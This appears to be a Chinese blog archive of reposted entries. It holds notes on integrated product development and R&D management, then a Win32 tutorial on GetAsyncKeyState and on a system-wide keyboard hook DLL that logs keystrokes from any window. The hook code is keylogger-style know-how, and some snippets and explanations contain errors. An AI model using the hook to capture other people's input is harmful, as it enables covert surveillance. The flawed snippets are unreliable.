項(xiàng)目分級(jí):
A級(jí)項(xiàng)目:公司級(jí)重點(diǎn)關(guān)注和管理項(xiàng)目
B級(jí)項(xiàng)目:產(chǎn)品線重點(diǎn)關(guān)注和管理的項(xiàng)目
C級(jí)項(xiàng)目:產(chǎn)品經(jīng)理或項(xiàng)目經(jīng)理自己管理的項(xiàng)目
項(xiàng)目排序要素:市場(chǎng)吸引力、競(jìng)爭(zhēng)地位、財(cái)務(wù)評(píng)估
單項(xiàng)目主體:項(xiàng)目經(jīng)理
多項(xiàng)目主體:項(xiàng)目管理部
項(xiàng)目開發(fā)四個(gè)階段:階段,步驟,任務(wù),活動(dòng)
三個(gè)計(jì)劃:
1、 一級(jí)計(jì)劃:解決全流程、全要素協(xié)同
2、 二級(jí)計(jì)劃:全流程協(xié)同下的各部門協(xié)同
3、 三級(jí)計(jì)劃:指導(dǎo)更小模塊或個(gè)人具體執(zhí)行任務(wù)計(jì)劃
提高計(jì)劃準(zhǔn)備度和完成率三要素:需求管理,關(guān)鍵資源及時(shí)到位,項(xiàng)目經(jīng)理的能力
計(jì)劃制訂需要分階段,分級(jí)進(jìn)行,避免追求一次成型
本文轉(zhuǎn)自:http://m.shnenglu.com/humanchao/archive/2012/11/26/195692.html
研發(fā)工作四類流程:
1、 技術(shù)開發(fā)流程:預(yù)研、應(yīng)用技術(shù)開發(fā)V版本
2、 平臺(tái)開發(fā)流程:共享模塊開發(fā)V版本
3、 產(chǎn)品開發(fā)流程:每向細(xì)分市場(chǎng)R版本
4、 定制項(xiàng)目開發(fā)流程:在產(chǎn)品和平臺(tái)基礎(chǔ)上針對(duì)某一客戶的定制M版本
產(chǎn)品開發(fā)活動(dòng)四個(gè)步驟:階段,步驟,任務(wù),活動(dòng)
概念階段:驗(yàn)證市場(chǎng)需求,確立產(chǎn)品是否可以立項(xiàng)
計(jì)劃階段:確立總體方案,資源投入,確保工藝、結(jié)構(gòu)方案、設(shè)計(jì)方案同步,避免重復(fù)開發(fā)
發(fā)布階段:尋找樣板客戶,準(zhǔn)備商標(biāo)、命令、市場(chǎng)指導(dǎo)書、產(chǎn)品實(shí)驗(yàn)局、初步定價(jià)策略;銷售工具包、售前膠片、銷售指導(dǎo)書、產(chǎn)品的配置、商業(yè)械設(shè)計(jì)、產(chǎn)品的成功安全分析,銷售培訓(xùn),發(fā)布計(jì)劃
產(chǎn)品開發(fā)流程六個(gè)階段:概念、計(jì)劃、產(chǎn)品開發(fā)、驗(yàn)證、生命周期管理
四個(gè)決策評(píng)審點(diǎn):概念決策、計(jì)劃決策、發(fā)布決策、生命周期決策
六個(gè)技術(shù)評(píng)審點(diǎn):產(chǎn)品包需求評(píng)審、系統(tǒng)規(guī)格評(píng)審、概要設(shè)計(jì)評(píng)審、詳細(xì)設(shè)計(jì)評(píng)審、樣機(jī)評(píng)審、小批量評(píng)審
財(cái)務(wù)角色:
概念階段:產(chǎn)品的定價(jià)分析和成本分析
計(jì)劃階段:核算綜合成本
開發(fā)階段:監(jiān)控成本
發(fā)布階段:明確價(jià)格策略
生命周期階段:進(jìn)行價(jià)格的核準(zhǔn)和調(diào)整價(jià)格
生產(chǎn)、維護(hù)、服務(wù)人員:在方案設(shè)計(jì)階段參與進(jìn)來,提出可維護(hù)、可安裝、可測(cè)試、可生產(chǎn)需求,使方案設(shè)計(jì)一步到位。
采購(gòu)角色:
概念階段:參與供應(yīng)商認(rèn)證
計(jì)劃階段:完成元器件認(rèn)證,明確提前采購(gòu)的風(fēng)險(xiǎn)
產(chǎn)品生命周期階段:關(guān)注器件的產(chǎn)能情況,提前預(yù)警
企業(yè)執(zhí)行產(chǎn)品開發(fā)流程失敗原因分析:
1、 為流程而流程,只有研發(fā)參與
2、 沒有建立市場(chǎng)管理流程,沒有好的市場(chǎng)經(jīng)理,產(chǎn)品開發(fā)沒有良好的輸入,推行產(chǎn)品開發(fā)流程困難
3、 沒有培養(yǎng)起來系統(tǒng)級(jí)工程師或團(tuán)隊(duì)進(jìn)行總體方案設(shè)計(jì),沒有打通設(shè)計(jì)時(shí)的所有環(huán)節(jié),流程流于形式
4、 評(píng)審過于關(guān)注技術(shù),在市場(chǎng)和財(cái)務(wù)成功方面考慮較少
5、 過多關(guān)注流程執(zhí)行的完整性,沒有結(jié)合自身情況,分步推進(jìn)
6、 配套支撐流程和體系建設(shè)跟不上,如項(xiàng)目管理流程、績(jī)效管理流程、任職資格體系建設(shè),落地的支撐人員配套跟不上
7、 沒有固化或形成時(shí),過早進(jìn)行IT化,僵化了流程
本文轉(zhuǎn)自:http://m.shnenglu.com/humanchao/archive/2012/11/19/195360.html
研發(fā)與銷售矛盾重重:需要建立市場(chǎng)體系,銷售與市場(chǎng)分離
市場(chǎng)體系:分析客戶需求,進(jìn)行產(chǎn)品規(guī)劃,培訓(xùn)渠道及客戶經(jīng)理,立足核心產(chǎn)品設(shè)計(jì)
市場(chǎng)體系:讓產(chǎn)品好賣,營(yíng)
銷售體系:將產(chǎn)品賣好,銷
需求管理四個(gè)步驟:需求收集,需求分析與分類,需求分發(fā),需求實(shí)現(xiàn)及驗(yàn)證
需求管理體系目的:讓每個(gè)人在日常活動(dòng)中,將需求進(jìn)行收集并通過分析和分發(fā),以確保非金屬人員面向市場(chǎng)進(jìn)行開發(fā)
需求管理體系原則:落后了,找對(duì)手;平行了,建市場(chǎng);領(lǐng)先了,做標(biāo)準(zhǔn)。
要建立好的市場(chǎng)體系,必須建立鼓勵(lì)研發(fā)人員進(jìn)入營(yíng)銷體系的機(jī)制。
為了保證快速地反映市場(chǎng),規(guī)劃必須每三個(gè)月更新一次。
需求分類:
A類:新產(chǎn)品開發(fā)需求
B類:產(chǎn)品設(shè)計(jì)規(guī)格更改需求
C類:詳細(xì)設(shè)計(jì)路徑更改需求
D類:生產(chǎn)訂單需求
E類:CBB和平臺(tái)開發(fā)需求
F類:技術(shù)開發(fā)需求
G類:市場(chǎng)調(diào)研,需要繼續(xù)求證
進(jìn)入一個(gè)客戶群三要素:
1、 市場(chǎng)吸引力:市場(chǎng)規(guī)模,市場(chǎng)成長(zhǎng)性,戰(zhàn)略價(jià)值
2、 競(jìng)爭(zhēng)地位:是否有能力進(jìn)入,市場(chǎng)份額、產(chǎn)品優(yōu)勢(shì)、成本優(yōu)勢(shì)、渠道能力
3、 財(cái)務(wù)回報(bào):收入增長(zhǎng)率,現(xiàn)金流貢獻(xiàn)、研發(fā)投入產(chǎn)出比
確定新產(chǎn)品的需求的方法:
1、 重新進(jìn)行新產(chǎn)品開發(fā)
2、 對(duì)老產(chǎn)品進(jìn)行改進(jìn)
外部需求:客戶的要求、功能需求、規(guī)格需求、可靠性需求
內(nèi)部需求:產(chǎn)品化需求(可生產(chǎn)、可安裝、可維護(hù)、可測(cè)試、可驗(yàn)證),技術(shù)需求
需求完成包括四類人員:客戶經(jīng)理、市場(chǎng)經(jīng)理、產(chǎn)品經(jīng)理、技術(shù)經(jīng)理
需求產(chǎn)出的四份文檔:
1、 客戶需求規(guī)格說明書
2、 產(chǎn)品包需求說明書
3、 需求的分解分配
4、 技術(shù)規(guī)格說明書
將產(chǎn)品規(guī)格轉(zhuǎn)變?yōu)榧夹g(shù)需求:FFAB
Benefits:對(duì)客戶的好處
Advantage:產(chǎn)品的優(yōu)點(diǎn)
Function:功能模塊的賣點(diǎn)
Feature:實(shí)現(xiàn)功能模塊的技術(shù)特性
業(yè)界常用的$APPEALS模型:$價(jià)格、A可獲得性、P包裝、P功能性能、E易用、A保證、L生命周期成本、S社會(huì)接受程度
本文轉(zhuǎn)自:http://m.shnenglu.com/humanchao/archive/2012/11/16/195266.html
企業(yè)戰(zhàn)略規(guī)劃制定:一個(gè)從公司愿景,到經(jīng)營(yíng)計(jì)劃,到各產(chǎn)品線的愿景,及業(yè)務(wù)計(jì)劃,再到產(chǎn)品平臺(tái)以及核心技術(shù)需求,并落實(shí)到資源規(guī)劃以及各種激勵(lì)機(jī)制的配套保證的總體流程
戰(zhàn)略規(guī)劃分三個(gè)層次:
1、 頂層設(shè)計(jì),戰(zhàn)略研究層
2、 業(yè)務(wù)層,產(chǎn)品線戰(zhàn)略規(guī)劃層
3、 支撐層,資源配置管理改進(jìn)層
產(chǎn)品戰(zhàn)略的W型八個(gè)步驟
技術(shù)型企業(yè)組織績(jī)效指標(biāo):
1、 生存類能力指標(biāo):財(cái)務(wù)指標(biāo),交付指標(biāo),
2、 可持續(xù)發(fā)展能力指標(biāo):新業(yè)務(wù)占收入的比重,核心技術(shù)和平臺(tái)帶來的收入占比
3、 核心競(jìng)爭(zhēng)能力指標(biāo):公共模塊共享率,人員結(jié)構(gòu)合理性及任職資料提升率,引導(dǎo)客戶需求與規(guī)劃能力
產(chǎn)品線的核心考核指標(biāo)是組織績(jī)效:對(duì)市場(chǎng)成功和財(cái)務(wù)成功負(fù)責(zé)
個(gè)人績(jī)效:只能產(chǎn)品線有利潤(rùn),組織績(jī)效成功,才有意義
企業(yè)增加利潤(rùn)的路徑:
1、 進(jìn)入新市場(chǎng)
2、 開發(fā)新業(yè)務(wù)
3、 改變商業(yè)模式
4、 降低成本:研發(fā)的首要目的是提高老產(chǎn)品的利潤(rùn),其次是開發(fā)新產(chǎn)品,新技術(shù)
5、 提高價(jià)格
企業(yè)新業(yè)務(wù)分類:
1、 聚焦發(fā)展,70%
2、 必須突破的業(yè)務(wù),20%
3、 布局式業(yè)務(wù),10%
筆記原書:
http://www.amazon.cn/%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86-%E6%9E%84%E5%BB%BA%E4%B8%96%E7%95%8C%E4%B8%80%E6%B5%81%E7%9A%84%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86%E4%BD%93%E7%B3%BB-%E5%91%A8%E8%BE%89/dp/B006THMWQS/ref=pd_sim_b_3
本文轉(zhuǎn)自:http://m.shnenglu.com/humanchao/archive/2012/11/13/195098.html
IPD介紹

研發(fā)的六種產(chǎn)出模式:
1、 基礎(chǔ)研究,發(fā)明和標(biāo)準(zhǔn)
2、 應(yīng)用開發(fā),將非成熟的應(yīng)用技術(shù)變成成熟的技術(shù)
3、 項(xiàng)目開發(fā),一次性的定制
4、 產(chǎn)品開發(fā),內(nèi)部共享模塊與產(chǎn)品,外部銷售的產(chǎn)品,可批量,可重復(fù),可復(fù)制生產(chǎn)
5、 解決方案,以產(chǎn)品為核心,為客戶做的跨產(chǎn)品或跨領(lǐng)域集成方案
6、 服務(wù)和運(yùn)營(yíng),服務(wù)、運(yùn)營(yíng)、維護(hù)獲取收益
產(chǎn)品開發(fā)貨架層次:器件、組件、部件、單機(jī)、整機(jī)、子系統(tǒng)、系統(tǒng)
產(chǎn)品分類:
1、 內(nèi)部共享產(chǎn)品:器件、組件、部件
2、 面向細(xì)分客戶群的產(chǎn)品:部件、單機(jī)、整機(jī)、子系統(tǒng)(能力強(qiáng)的公司)
3、 解決方案級(jí)產(chǎn)品:子系統(tǒng)、系統(tǒng)
技術(shù)型企業(yè)的商業(yè)模式:經(jīng)營(yíng)技術(shù)、經(jīng)營(yíng)產(chǎn)品、經(jīng)營(yíng)解決方案、經(jīng)營(yíng)客戶和服務(wù)
技術(shù)型企業(yè)的商業(yè)模式發(fā)展和演變五個(gè)階段:
1、 勞動(dòng)密集型加工
2、 項(xiàng)目生存型
3、 產(chǎn)品擴(kuò)展型
4、 運(yùn)營(yíng)客戶型
5、 集成產(chǎn)業(yè)鏈型
產(chǎn)品開發(fā)方式:
1、 先開發(fā)技術(shù),然后做通用產(chǎn)品,再銷售
技術(shù)開發(fā)->產(chǎn)品開發(fā)->形成產(chǎn)品->銷售渠道->通用客戶需求
缺點(diǎn):容易被細(xì)分市場(chǎng)產(chǎn)品替代,技術(shù)一旦落后沒有后續(xù)產(chǎn)出
2、 客戶需求,尋找技術(shù),完成定制
客戶需求->營(yíng)銷渠道->確定交付->投入開發(fā)->技術(shù)突破
缺點(diǎn):技術(shù)開發(fā)有風(fēng)險(xiǎn);一個(gè)個(gè)項(xiàng)目做,企業(yè)很難做大;質(zhì)量不易保證;人員沒有專業(yè)發(fā)展通道,容易流失;項(xiàng)目越多,管理越難
集成產(chǎn)品開發(fā):
1、 產(chǎn)品開發(fā)與技術(shù)開發(fā)、平臺(tái)開發(fā)分離;
2、 技術(shù)和平臺(tái)開發(fā)先行,解決技術(shù)突破;
3、 產(chǎn)品開發(fā)按細(xì)分客戶群需求
集成產(chǎn)品開發(fā)和技術(shù)開發(fā)特點(diǎn):
1、 產(chǎn)品開發(fā):強(qiáng)調(diào)基于市場(chǎng)需求和共享平臺(tái),對(duì)市場(chǎng)和財(cái)務(wù)的成功負(fù)責(zé)
2、 技術(shù)開發(fā):自己掌握業(yè)界成熟的技術(shù),做成貨架,供產(chǎn)品開發(fā)時(shí)共享,以縮短產(chǎn)品開發(fā)周期
集成產(chǎn)品開發(fā)三種產(chǎn)品形態(tài):
1、 產(chǎn)品大版本V:平臺(tái)版本
2、 細(xì)分客戶群版本R:交付給用客戶產(chǎn)品,四要素:客戶及競(jìng)爭(zhēng)需求、功能與技術(shù)需求、時(shí)間、成本
3、 客戶定制版本M:在R版本的基礎(chǔ)上針對(duì)具體客戶的個(gè)性化版本
產(chǎn)品開發(fā)四個(gè)范疇:技術(shù)開發(fā)、市場(chǎng)開發(fā)、生產(chǎn)和服務(wù)開發(fā)、資料包開發(fā)
產(chǎn)品開發(fā)的步驟:
1、 先進(jìn)行市場(chǎng)開發(fā),細(xì)分客戶群,尋找賣點(diǎn)和商業(yè)模式,尋找市場(chǎng)和財(cái)務(wù)成功的要素;
2、 根據(jù)產(chǎn)品需求進(jìn)行分解與分配,進(jìn)行技術(shù)開發(fā)
3、 根據(jù)技術(shù)要求進(jìn)行產(chǎn)品的可生產(chǎn)性,可安裝性,可測(cè)試性,可驗(yàn)證性,可服務(wù)性開發(fā)
4、 根據(jù)產(chǎn)品大量進(jìn)入市場(chǎng),進(jìn)行技術(shù)資料包,服務(wù)資料包和銷售工具的開發(fā)
企業(yè)研發(fā)管理發(fā)展的五個(gè)階段:
1、 單項(xiàng)目單產(chǎn)品階段:以項(xiàng)目為核心
2、 多產(chǎn)品、共享產(chǎn)品和貨架平臺(tái)階段:以產(chǎn)品為核心
3、 以共享為核心面向客戶需求階段:以客戶為核心
4、 以產(chǎn)業(yè)鏈為核心的關(guān)注利潤(rùn)階段:以利潤(rùn)為核心
5、 持續(xù)改進(jìn)階段
集成產(chǎn)品開發(fā)管理思想:
1、 產(chǎn)品開發(fā)是一項(xiàng)投資
2、 必須強(qiáng)調(diào)基于市場(chǎng)的創(chuàng)新
3、 執(zhí)行技術(shù)開發(fā)與產(chǎn)品開發(fā)分離
4、 對(duì)技術(shù)進(jìn)行分類管理,強(qiáng)調(diào)核心技術(shù),關(guān)鍵技術(shù)的自主開發(fā)
5、 跨部分的協(xié)同開發(fā),實(shí)現(xiàn)全流程全要素(市場(chǎng)、研發(fā)、生產(chǎn)、采購(gòu)、財(cái)務(wù)協(xié)同)的管理
6、 強(qiáng)調(diào)CBB和平臺(tái)建設(shè),強(qiáng)調(diào)技術(shù)共享
7、 執(zhí)行異步開發(fā)
8、 根據(jù)產(chǎn)品的不同層次和技術(shù)開發(fā)執(zhí)行不同的結(jié)構(gòu)化開發(fā)流程
9、 強(qiáng)調(diào)市場(chǎng)和財(cái)務(wù)成功、核心競(jìng)爭(zhēng)力的提升是研發(fā)績(jī)效考核的重要因素
要實(shí)現(xiàn)IPD要以產(chǎn)品線(產(chǎn)品)為核心進(jìn)行四大重組:財(cái)務(wù)重組、市場(chǎng)重組、產(chǎn)品重組、組織與流程重組
筆記原書:
http://www.amazon.cn/%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86-%E6%9E%84%E5%BB%BA%E4%B8%96%E7%95%8C%E4%B8%80%E6%B5%81%E7%9A%84%E4%BA%A7%E5%93%81%E7%A0%94%E5%8F%91%E7%AE%A1%E7%90%86%E4%BD%93%E7%B3%BB-%E5%91%A8%E8%BE%89/dp/B006THMWQS/ref=pd_sim_b_3
本文轉(zhuǎn)自:http://m.shnenglu.com/humanchao/archive/2012/11/11/195045.html
MSDN中解釋:
Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
Syntax
SHORT WINAPI GetAsyncKeyState( _In_ int vKey );
Parameters
- vKey [in]
-
Type: int
The virtual-key code. For more information, see Virtual Key Codes.
You can use left- and right-distinguishing constants to specify certain keys. See the Remarks section for further information.
Return value
Type: SHORT
If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.
The return value is zero for the following cases:
- The current desktop is not the active desktop
- The foreground thread belongs to another process and the desktop does not allow the hook or the journal record.
以下轉(zhuǎn)自:http://bingtears.iteye.com/blog/663149
0x8000 & GetKeyState(VK_SHIFT); 這句是判斷是否有按下shift鍵
為什么GetAsyncKeyState()&
首先說明,有好多程序或書上是0x8000f,這個(gè)f不是十六進(jìn)制的f而是代表浮點(diǎn)數(shù)。其實(shí)& 8000才是本質(zhì)。小魚我整理后自己寫了點(diǎn)東西,總結(jié)一下
首先介紹一下幾個(gè)概念:
按位與運(yùn)算符"&":是雙目運(yùn)算符,其功能是參與運(yùn)算的兩數(shù)各對(duì)應(yīng)的二進(jìn)位相與。只有對(duì)應(yīng)的兩個(gè)二進(jìn)位均為1時(shí),結(jié)果位才為1 ,否則為0。參與運(yùn)算的數(shù)以補(bǔ)碼方式出現(xiàn)。例如:0x11 & 0x12(即0001 0001 & 0001 0010)的結(jié)果是0x10(0001 0000);(關(guān)于vs取反參考附)
虛鍵:指的是非字母可以明確表示的鍵.(例如ESC BS TAB NumLock 等,虛鍵列表見附);
物理鍵狀態(tài):在操作系統(tǒng)的控制面板中設(shè)置鼠標(biāo)左右鍵的映射(實(shí)際的鼠標(biāo)左鍵可以映射成右鍵點(diǎn)擊事件),或者通過程序也可以這樣設(shè)置,這樣就產(chǎn)生了(實(shí)際的)物理鍵狀態(tài);
邏輯鍵狀態(tài):使用 GetKeyState,GetKeyboardState,等函數(shù)得到的邏輯鍵狀態(tài),模擬按下按鍵;
GetAsyncKeyState函數(shù)功能:讀取的是物理鍵狀態(tài),也是就是不管你怎么鼠標(biāo)鍵盤映射,它只讀取實(shí)際的按鍵狀態(tài)。MSDN上給出了例子很恰當(dāng)For example, the call GetAsyncKeyState(VK_LBUTTON) always returns the state of the left physical mouse button, regardless of whether it is mapped to the left or right logical mouse button.也就是說如果你重新設(shè)置了映射,GetAsyncKeyState還是只讀取物理狀態(tài);
GetAsyncKeyState的返回值:表示兩個(gè)內(nèi)容,一個(gè)是最高位bit的值,代表這個(gè)鍵是否被按下,按下為1,抬起為0;一個(gè)是最低位bit的值,在windowsCE下要忽略(參考自MSDNIf the most significant bit is set, the key is down. The least significant bit is not valid in Windows CE, and should be ignored.)
Asynchronous:英文意思是異步的
實(shí)際當(dāng)中GetAsyncKeyState的返回值是什么呢?小魚我寫了個(gè)程序來獲取返回值:
#include <Windows.h>
#include <stdio.h>
void main()
{
while(1)
{
short a = ::GetAsyncKeyState(VK_LSHIFT)
printf( "0x%x",a);
sleep(10);
}
}
當(dāng)然,用MessageBox可以這樣寫:
if(short a = ::GetAsyncKeyState(VK_LSHIFT))
{
char buffer[30];
sprintf(buffer, "0x%x",a);
MessageBox(0, buffer, "a的值", MB_OK);
}
GetAsyncKeyState按鍵不按或抬起后不按的返回值0x0 即0000 0000 0000 0000 0000 0000 0000 0000
GetAsyncKeyState按鍵被按下后的返回值 返回0xffff8001 即1111 1111 1111 1111 1000 0000 0000 0001 (這里并不是返回4字節(jié),而是%x打印出32位,前十六位補(bǔ)f)
0x8000 即0000 0000 0000 0000 1000 0000 0000 0000
GetAsyncKeyState(VK_LSHIFT) & 0x8000 返回0x1 即0000 0000 0000 0000 1000 0000 0000 0000
那么為什么GetAsyncKeyState要 ‘與’上 0x8000這個(gè)常數(shù)呢?
答案是:獲取按鍵狀態(tài),屏蔽掉其他的可能狀態(tài),按照MSDN上說低位should ignore。
網(wǎng)上有人這樣寫,意思很明確:
#define KEYDOWN(vk_code) ((GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0)
#define KEYUP(vk_code) ((GetAsyncKeyState(vk_code) & 0x8000) ? 0 : 1)
程序應(yīng)該是:
if(GetAsyncKeyState(VK_LSHIFT)&&0x8000)
對(duì)于虛鍵而言下面這樣寫邏輯是不對(duì)的,雖然結(jié)果一樣:
if(GetAsyncKeyState(VK_LSHIFT))
所以讓鍵盤的"上下左右"出發(fā)事件可以這樣寫:
if( ::GetAsyncKeyState(VK_LEFT) & 0x8000 )
code...
if( ::GetAsyncKeyState(VK_RIGHT)& 0x8000 )
code...
if( ::GetAsyncKeyState(VK_UP) & 0x8000 )
code...
if( ::GetAsyncKeyState(VK_DOWN) & 0x8000 )
code...
關(guān)于GetAsyncKeyState與GetKeyState區(qū)別:
GetAsyncKeyState上面已經(jīng)講差不多了,關(guān)于GetAsyncKeyState與GetKeyState二者最大區(qū)別:GetAsyncKeyState在按鍵不按的情況下為0,而GetKeyState在按鍵不按的情況下開始為0,當(dāng)一次‘按下抬起’后變?yōu)?,依次循環(huán)。
SHORT GetKeyState(int nVirtKey // virtual-key code);
作用:返回鍵的狀態(tài),按下、釋放或鎖定(down、up or toggled)
參數(shù):虛擬鍵代碼(VK_)。如果是字母a-z、A-Z 或數(shù)字0-9, 則為其對(duì)應(yīng)的ASCII碼(比如字母O的ASCII碼為十六進(jìn)制的0x4F)
返回值:返回碼的高位顯示當(dāng)前是否有鍵被按下,低位(0位)則顯示NumLock、CapsLock、ScrollLock的狀態(tài)(ON或OFF,為ON時(shí)鍵盤指示燈亮)。即高位為1,返回值小于0,說明有鍵按下;最低位為1表示處于鎖定(ON)狀態(tài)(參考MSDN:If the high-order bit is 1, the key is down; otherwise, it is up.
If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled. )
注:此函數(shù)不應(yīng)該在鍵盤消息處理程序以外使用,因?yàn)樗祷氐男畔⒅挥性阪I盤消息從消息隊(duì)列中被檢索到之后才有效。若確實(shí)需要,請(qǐng)使用GetAsyncKeyState
----------------------------------------
網(wǎng)上還找到了一些資料:
關(guān)于和其他的幾個(gè)函數(shù)的區(qū)別:
SHORT GetKeyState(int nVirtKey);
SHORT GetAsyncKeyState(int vKey);
BOOL GetKeyboardState(PBYTE lpKeyState);
三個(gè)取key status的函數(shù)的最大區(qū)別是:
第一個(gè):是從windows消息隊(duì)列中取得鍵盤消息,返回key status.
第二個(gè):是直接偵測(cè)鍵盤的硬件中斷,返回key status.
第三個(gè):是當(dāng)從windows消息隊(duì)列中移除鍵盤消息時(shí),才返回key status.
keybd_event函數(shù),是模擬鍵盤擊鍵,一次完整的擊鍵模擬事件,是"按下"和"彈起"兩個(gè)消息,所以 keybd_event(VK_F12,0,0,0);keybd_event(VK_F12,0,KEYEVENTF_KEYUP,0); 完成了一次完整的點(diǎn)擊 F12 的事件。
GetAsyncKeyState()函數(shù),是直接偵測(cè)鍵盤的硬件中斷。(有些人說,是一種“實(shí)時(shí)性”的偵測(cè),這種說法,感覺不對(duì),比如你調(diào)用 Sleep(),就算是中斷一年的時(shí)間,只要在這期間程序還在運(yùn)行,它都可以把那個(gè)鍵的狀態(tài)偵測(cè)出來)。自上一次調(diào)用GetAsyncKeyState()函數(shù)以來(在某些循環(huán)中,N次調(diào)用GetAsyncKeyState(),它每次檢查的,都是自上次調(diào)用之后,鍵的狀態(tài)),若鍵已被按過,則返回1,否則,返回0;有些資料顯示:倘若輸入焦點(diǎn)從屬于與調(diào)用函數(shù)的輸入線程不同的另一個(gè)線程,則返回零(例如,在另一個(gè)程序擁有輸入焦點(diǎn)時(shí),應(yīng)該返回零)。實(shí)驗(yàn)證明,這種說法并不完全,函數(shù)實(shí)際是在大部份范圍內(nèi)工作的,只有少數(shù)是另外)。
一我們可以在應(yīng)用程序中毫不費(fèi)力的捕獲在本程序窗口上所進(jìn)行的鍵盤操作,但如果我們想要將此程序作成一個(gè)監(jiān)控程序,捕獲在Windows平臺(tái)下任意窗口上的鍵盤操作,就需要借助于全局鉤子來實(shí)現(xiàn)了。
二、系統(tǒng)鉤子和DLL
鉤子的本質(zhì)是一段用以處理系統(tǒng)消息的程序,通過系統(tǒng)調(diào)用,將其掛入系統(tǒng)。鉤子的種類有很多,每種鉤子可以截獲并處理相應(yīng)的消息,每當(dāng)特定的消息發(fā)出,在到達(dá)目的窗口之前,鉤子程序先行截獲該消息、得到對(duì)此消息的控制權(quán)。此時(shí)在鉤子函數(shù)中就可以對(duì)截獲的消息進(jìn)行加工處理,甚至可以強(qiáng)制結(jié)束消息的傳遞。
在本程序中我們需要捕獲在任意窗口上的鍵盤輸入,這就需要采用全局鉤子以便攔截整個(gè)系統(tǒng)的消息,而全局鉤子函數(shù)必須以DLL(動(dòng)態(tài)連接庫(kù))為載體進(jìn)行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標(biāo)準(zhǔn)靜態(tài)鏈接MFC DLL)、Regular using the shared MFC DLL(標(biāo)準(zhǔn)動(dòng)態(tài)鏈接MFC DLL)以及Extension MFC DLL(擴(kuò)展MFC DLL)。 在本程序中為方便起見采用了標(biāo)準(zhǔn)靜態(tài)連接MFC DLL。
三、鍵盤鉤子程序示例
本示例程序用到全局鉤子函數(shù),程序分兩部分:可執(zhí)行程序KeyHook和動(dòng)態(tài)連接庫(kù)LaunchDLL。
1、首先編制MFC擴(kuò)展動(dòng)態(tài)連接庫(kù)LaunchDLL.dll:
(1)選擇MFC AppWizard(DLL)創(chuàng)建項(xiàng)目LaunchDLL;在接下來的選項(xiàng)中選擇Regular statically linked to MFC DLL(標(biāo)準(zhǔn)靜態(tài)鏈接MFC DLL)。
(2)在LaunchDLL.h中添加宏定義和待導(dǎo)出函數(shù)的聲明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局變量Hook和全局函數(shù)LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的這幾個(gè)函數(shù)的實(shí)現(xiàn)部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我們實(shí)現(xiàn)了Windows的系統(tǒng)鉤子的安裝,首先要調(diào)用SDK中的API函數(shù)SetWindowsHookEx來安裝這個(gè)鉤子函數(shù),其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一個(gè)參數(shù)指定鉤子的類型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關(guān)心鍵盤操作所以設(shè)定為WH_KEYBOARD;第二個(gè)參數(shù)標(biāo)識(shí)鉤子函數(shù)的入口地址,當(dāng)鉤子鉤到任何消息后便調(diào)用這個(gè)函數(shù),即當(dāng)不管系統(tǒng)的哪個(gè)窗口有鍵盤輸入馬上會(huì)引起LauncherHook的動(dòng)作;第三個(gè)參數(shù)是鉤子函數(shù)所在模塊的句柄,我們可以很簡(jiǎn)單的設(shè)定其為本應(yīng)用程序的實(shí)例句柄;最后一個(gè)參數(shù)是鉤子相關(guān)函數(shù)的ID用以指定想讓鉤子去鉤哪個(gè)線程,為0時(shí)則攔截整個(gè)系統(tǒng)的消息,在本程序中鉤子需要為全局鉤子,故設(shè)定為0。
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
對(duì)其中的lParam & 0x80000000不理解,在網(wǎng)上搜索了一下,解釋是lParam的最高位為1代表鍵盤Up,0代表鍵盤down,最終我還是在msdn中找到了詳細(xì)解釋:
lParam的各位信息:

而Transition-state flag的詳細(xì)解釋如下:
Transition-State FlagThe transition-state flag indicates whether pressing a key or releasing a key generated the keystroke message. This flag is always set to 0 for WM_KEYDOWN and WM_SYSKEYDOWN messages; it is always set to 1 for WM_KEYUP and WM_SYSKEYUP messages.
關(guān)于更多信息,大家可以參考msdn的“About Keyboard Input”。
